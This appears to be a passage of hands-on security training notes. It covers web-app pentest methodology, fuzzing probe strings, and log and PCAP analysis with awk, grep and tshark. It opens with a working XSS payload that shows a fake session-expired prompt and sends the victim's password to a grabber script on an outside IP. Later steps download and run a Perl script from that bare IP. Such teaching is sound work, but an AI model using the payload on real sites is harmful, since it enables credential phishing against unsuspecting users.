- Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/xss_practice/
- -----------------------------------------------------------------------
- Paste this in the search box
- ----------------------------
- ---------------------------Type This-----------------------------------
- <script>
- password=prompt('Your session is expired. Please enter your password to continue',' ');
- document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
- </script>
- -----------------------------------------------------------------------
- Now view the stolen cookie at:
- ---------------------------Type This-----------------------------------
- http://45.63.104.73/xss_practice/passwords.html
- -----------------------------------------------------------------------
- ###############################################################
- # Question 1: What is the process that you use when you test? #
- ###############################################################
- Step 1: Automated Testing
- Step 1a: Web Application vulnerability scanners
- -----------------------------------------------
- - Run two (2) unauthenticated vulnerability scans against the target
- - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
- - Run two (2) authenticated vulnerability scans against the target with admin privileges
- The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
- A good web application vulnerability scanner comparison website is here:
- http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
- Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
- Also, be sure to save the scan results and logs. I usually provide this data to the customer.
- Step 1b: Directory Brute Forcer
- -------------------------------
- I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
- Step 2: Manual Testing
- Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
- Step 2a: Spider/Scan the entire site with Burp Suite
- Save the spider and scan results. I usually provide this data to the customer as well.
- Step 2b: Browse through the site using the 3 question method
- Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
- Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
- Here is what I mean:
- http://www.site.com/page.aspx?parametername=parametervalue
- When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
- http://www.site.com/page.aspx?parametername=[ payload ]
- You need to ensure that you send the payload this way, and like this below:
- http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
- This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
- ###########################################
- # Question 2: How much fuzzing is enough? #
- ###########################################
- There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
- Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
- Step 1: Ask yourself the 3 questions per page of the site.
- Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
- Step 3: When you load your fuzz strings - use the following decision tree
- - Are the fuzz strings causing a default error message (example 404)?
- - If this is the case then it is most likely NOT vulnerable
- - Are the fuzz strings causing a WAF or LB custom error message?
- - If this is the case then you need to find an encoding method to bypass
- - Are the fuzz strings causing an error message that discloses the backend type?
- - If yes, then identify DB type and find correct syntax to successfully exploit
- - Some example strings that I use are:
- '
- "
- () <----- Take the parameter value and put it in parenthesis
- (5-1) <----- See if you can perform an arithmetic function
- - Are the fuzz strings rendering executable code?
- - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
- - Some example strings that I use are:
- <b>hello</b>
- <u>hello</u>
- <script>alert(123);</script>
- <script>alert(xss);</script>
- <script>alert('xss');</script>
- <script>alert("xss");</script>
- #######################
- # Bug Bounty Programs #
- #######################
- https://medium.com/bugbountywriteup/bug-bounty-hunting-methodology-toolkit-tips-tricks-blogs-ef6542301c65
- ############################
- # Bug Hunter's Methodology #
- ############################
- https://www.youtube.com/watch?v=C4ZHAdI8o1w
- https://www.youtube.com/watch?v=-FAjxUOKbdI
- ##############################################
- # Log Analysis with Linux command-line tools #
- ##############################################
- The following command line executables are found in the Mac as well as most Linux Distributions.
- cat – prints the content of a file in the terminal window
- grep – searches and filters based on patterns
- awk – can sort each row into fields and display only what is needed
- sed – performs find and replace functions
- sort – arranges output in an order
- uniq – compares adjacent lines and can report, filter or provide a count of duplicates
- ##############
- # Cisco Logs #
- ##############
- -----------------------------Type this-----------------------------------------
- wget http://45.63.104.73/cisco.log
- -------------------------------------------------------------------------------
- AWK Basics
- ----------
- To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
- -----------------------------Type this-----------------------------------------
- cat cisco.log | awk '{print $5}' | tail -n 4
- -------------------------------------------------------------------------------
- Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
- -----------------------------Type this-----------------------------------------
- cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
- -------------------------------------------------------------------------------
- While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
- -----------------------------Type this-----------------------------------------
- cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
- -------------------------------------------------------------------------------
- Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
- -----------------------------Type this-----------------------------------------
- cat cisco.log | grep %LINEPROTO-5-UPDOWN:
- cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
- cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
- cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
- --------------------------------------------------------------------------------
- ##################################################################
- # Analyzing a PCAP Prads #
- # Note: run as regular user #
- ##################################################################
- ---------------------------Type this as a regular user----------------------------------
- cd ~
- cd ~/pcap_analysis/prads
- wget http://45.63.104.73/suspicious-time.pcap
- prads -r suspicious-time.pcap -l prads-asset.log
- cat prads-asset.log | less
- cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
- cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
- cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
- -----------------------------------------------------------------------
- ##################################
- # PCAP Analysis with ChaosReader #
- # Note: run as regular user #
- ##################################
- ---------------------------Type this as a regular user----------------------------------
- cd ~
- cd ~/pcap_analysis/chaos_reader/
- wget http://45.63.104.73/suspicious-time.pcap
- wget http://45.63.104.73/chaosreader.pl
- perl chaosreader.pl suspicious-time.pcap
- cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
- cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
- for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
- python -m SimpleHTTPServer
- ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
- ------------------------------------------------------------------------
- #############################
- # PCAP Analysis with tshark #
- # Note: run as regular user #
- #############################
- ---------------------------Type this as a regular user---------------------------------
- cd ~/pcap_analysis/tshark
- wget http://45.63.104.73/suspicious-time.pcap
- tshark -i ens3 -r suspicious-time.pcap -qz io,phs
- tshark -r suspicious-time.pcap -qz ip_hosts,tree
- tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
- tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
- tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
- whois rapidshare.com.eyu32.ru
- whois sploitme.com.cn
- tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
- tshark -r suspicious-time.pcap -qz http_req,tree
- tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
- tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
- ------------------------------------------------------------------------
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